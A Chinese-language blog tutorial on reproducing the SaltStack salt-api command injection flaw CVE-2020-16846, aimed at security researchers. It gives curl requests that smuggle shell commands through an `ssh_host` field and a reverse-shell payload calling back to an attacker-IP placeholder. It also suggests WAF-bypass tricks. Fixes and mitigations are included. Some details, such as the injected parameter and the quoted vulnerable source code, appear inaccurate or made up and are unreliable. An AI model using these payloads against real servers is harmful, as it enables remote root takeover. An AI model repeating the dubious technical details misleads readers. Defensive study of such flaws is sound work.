温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行SaltStack命令注入漏洞复现

发布时间:2021-12-29 17:37:27 来源:亿速云 阅读:144 作者:柒染 栏目:安全技术
# 如何进行SaltStack命令注入漏洞复现 ## 前言 SaltStack是一款流行的开源配置管理和远程执行工具,广泛应用于自动化运维场景。然而,历史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤为危险,可能直接导致攻击者在目标服务器上执行任意命令。本文将详细讲解CVE-2020-16846漏洞的复现过程,帮助安全研究人员理解漏洞原理并验证修复方案。 --- ## 漏洞背景 ### 漏洞信息 - **CVE编号**: CVE-2020-16846 - **影响版本**: SaltStack 3002及之前版本 - **漏洞类型**: 命令注入 - **CVSS评分**: 9.8 (Critical) ### 漏洞原理 SaltStack的`salt-api`组件在使用`ssh_client`模块时,未对用户输入的`host`参数进行严格过滤,导致攻击者可通过构造恶意请求注入系统命令。 --- ## 环境搭建 ### 实验环境要求 - 虚拟机或云服务器(推荐Ubuntu 20.04) - Docker环境(用于快速搭建漏洞环境) ### 使用Docker部署漏洞环境 ```bash # 拉取漏洞镜像 docker pull vulnerables/cve-2020-16846 # 启动容器(映射SaltStack API端口) docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846 

验证环境

访问http://<目标IP>:8000应看到SaltStack API的欢迎页面。


漏洞复现步骤

步骤1:获取有效Token

SaltStack API需要认证,首先获取访问令牌:

curl -sSk http://localhost:8000/login \ -H 'Accept: application/x-yaml' \ -d username=salt \ -d password=salt \ -d eauth=pam 

响应示例:

return: - eauth: pam expire: 1625090000.123456 perms: - .* start: 1625086400.123456 token: abcdef1234567890 user: salt 

步骤2:构造恶意请求

利用ssh_client模块的host参数注入命令:

curl -sSk http://localhost:8000 \ -H 'Accept: application/json' \ -H 'X-Auth-Token: abcdef1234567890' \ -d client=ssh \ -d tgt='*' \ -d fun='test.ping' \ -d ssh_host='localhost";id;"' 

关键参数说明

参数 值示例 作用
client ssh 指定SSH客户端模块
tgt * 目标主机(通配符)
fun test.ping 执行的Salt函数
ssh_host localhost";id;" 注入命令的关键参数

步骤3:观察命令执行结果

成功利用时,响应中将包含id命令的执行结果:

{ "return": [ { "localhost": { "ret": "uid=0(root) gid=0(root) groups=0(root)\n", "retcode": 0 } } ] } 

漏洞分析

代码层面问题

漏洞位于salt/client/ssh/client.py中:

def _prep_ssh( self, host, # 未过滤的用户输入 ... ): cmd = 'ssh {0} {1}@{2} {3}'.format( opts, self._ssh_user(), host, # 直接拼接进命令 remote_cmd ) return shlex.split(cmd) 

攻击链分析

  1. 用户控制ssh_host参数传入恶意字符串
  2. 参数未经处理直接拼接进SSH命令
  3. 系统执行包含注入命令的字符串

修复方案

官方补丁

SaltStack在3002.1版本中: 1. 使用shlex.quote()对host参数进行转义 2. 增加输入白名单验证

临时缓解措施

  • 禁用salt-api非必要接口
  • 限制API访问IP范围

扩展实验

反弹Shell利用

构造更危险的Payload获取交互式Shell:

ssh_host='localhost";bash -i >& /dev/tcp/攻击者IP/4444 0>&1;"' 

防御绕过尝试

测试WAF绕过技术: - 使用Base64编码命令 - 利用环境变量拼接命令


总结

通过本次复现,我们了解到: 1. SaltStack命令注入漏洞的高危性 2. 参数过滤不严导致的RCE风险 3. 自动化工具安全开发的重要性

建议运维人员: ✅ 及时升级到最新版本
✅ 定期进行安全审计
✅ 最小化API权限分配


参考资源

  1. CVE-2020-16846官方公告
  2. SaltStack安全最佳实践文档
  3. OWASP命令注入防护指南

”`

注:实际操作时请确保在授权环境下进行测试,避免违反法律法规。本文仅用于教育目的。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI